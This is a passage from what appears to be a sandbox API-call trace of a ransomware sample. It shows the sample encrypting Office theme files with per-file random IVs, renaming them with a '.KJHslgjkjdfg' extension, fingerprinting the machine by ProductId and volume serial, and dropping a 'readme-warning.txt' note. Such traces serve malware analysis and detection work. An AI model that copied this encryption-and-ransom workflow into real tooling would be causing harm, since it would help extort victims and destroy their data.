dwBufLen=0xbb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xbb0) returned 1 [0171.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.420] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xbb0, lpOverlapped=0x0) returned 1 [0171.420] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.421] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xc84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.421] SetEndOfFile (hFile=0x114) returned 1 [0171.423] GetProcessHeap () returned 0x2ef0000 [0171.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.423] GetProcessHeap () returned 0x2ef0000 [0171.423] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.kjhslgjkjdfg")) returned 1 [0171.429] CloseHandle (hObject=0x114) returned 1 [0171.429] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0171.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.431] GetProcessHeap () returned 0x2ef0000 [0171.431] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.431] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.431] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.431] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xc, lpOverlapped=0x0) returned 1 [0171.433] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.433] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.433] GetProcessHeap () returned 0x2ef0000 [0171.433] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.433] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0171.433] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.433] WriteFile (in: hFile=0x114, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0171.433] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.433] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.433] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.434] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.434] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.434] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.434] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.434] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4d44, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x4d44, lpOverlapped=0x0) returned 1 [0171.435] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4d50, dwBufLen=0x4d50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x4d50) returned 1 [0171.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.435] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4d50, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x4d50, lpOverlapped=0x0) returned 1 [0171.435] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.435] SetEndOfFile (hFile=0x114) returned 1 [0171.438] GetProcessHeap () returned 0x2ef0000 [0171.438] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.438] GetProcessHeap () returned 0x2ef0000 [0171.438] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0171.444] CloseHandle (hObject=0x114) returned 1 [0171.444] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0171.444] GetProcessHeap () returned 0x2ef0000 [0171.444] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0171.444] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.444] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0171.444] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.445] GetProcessHeap () returned 0x2ef0000 [0171.445] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0171.445] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.445] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0171.445] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.445] GetProcessHeap () returned 0x2ef0000 [0171.445] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0171.445] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.445] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0171.445] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.445] GetProcessHeap () returned 0x2ef0000 [0171.445] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0171.445] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.445] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0171.445] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.445] GetProcessHeap () returned 0x2ef0000 [0171.445] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.445] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.445] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0171.445] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.446] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0171.446] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0171.446] RegCloseKey (hKey=0x114) returned 0x0 [0171.446] GetProcessHeap () returned 0x2ef0000 [0171.446] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0171.446] GetProcessHeap () returned 0x2ef0000 [0171.446] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.446] GetProcessHeap () returned 0x2ef0000 [0171.446] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0171.446] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0171.446] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0171.446] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.446] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0171.446] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0171.447] GetProcessHeap () returned 0x2ef0000 [0171.447] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0171.447] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0171.447] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0171.447] GetProcessHeap () returned 0x2ef0000 [0171.447] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0171.447] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\readme-warning.txt") returned 81 [0171.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.448] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0171.449] CloseHandle (hObject=0x114) returned 1 [0171.449] GetProcessHeap () returned 0x2ef0000 [0171.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0171.449] GetProcessHeap () returned 0x2ef0000 [0171.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0171.449] GetProcessHeap () returned 0x2ef0000 [0171.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0171.449] GetProcessHeap () returned 0x2ef0000 [0171.449] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0171.449] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0171.450] GetProcessHeap () returned 0x2ef0000 [0171.450] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0171.450] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1 [0171.450] GetProcessHeap () returned 0x2ef0000 [0171.450] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0171.450] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0171.451] GetProcessHeap () returned 0x2ef0000 [0171.451] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0171.452] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0171.452] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0171.452] GetProcessHeap () returned 0x2ef0000 [0171.452] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f3e278 [0171.452] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.453] GetProcessHeap () returned 0x2ef0000 [0171.453] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.453] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.453] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.453] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x2, lpOverlapped=0x0) returned 1 [0171.456] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.456] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.456] GetProcessHeap () returned 0x2ef0000 [0171.456] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0171.456] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0171.456] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.456] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0171.456] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0171.456] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0171.456] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0171.456] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0171.457] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0171.457] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0171.457] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0171.457] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.457] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x189be, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x189be, lpOverlapped=0x0) returned 1 [0171.459] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x189c0, dwBufLen=0x189c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x189c0) returned 1 [0171.460] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.460] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x189c0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x189c0, lpOverlapped=0x0) returned 1 [0171.461] CryptDestroyKey (hKey=0x2f18308) returned 1 [0171.461] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x18a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.461] SetEndOfFile (hFile=0x114) returned 1 [0171.464] GetProcessHeap () returned 0x2ef0000 [0171.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0171.465] GetProcessHeap () returned 0x2ef0000 [0171.465] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0171.465] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.elm.kjhslgjkjdfg")) returned 1 [0171.465] CloseHandle (hObject=0x114) returned 1 [0171.466] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0171.466] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\AXIS.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\axis.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0171.467] GetProcessHeap () returned 0x2ef0000 [0171.467] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0171.467] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0171.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0171.467] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xf, lpOverlapped=0x0) returned 1 [0171.469] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, 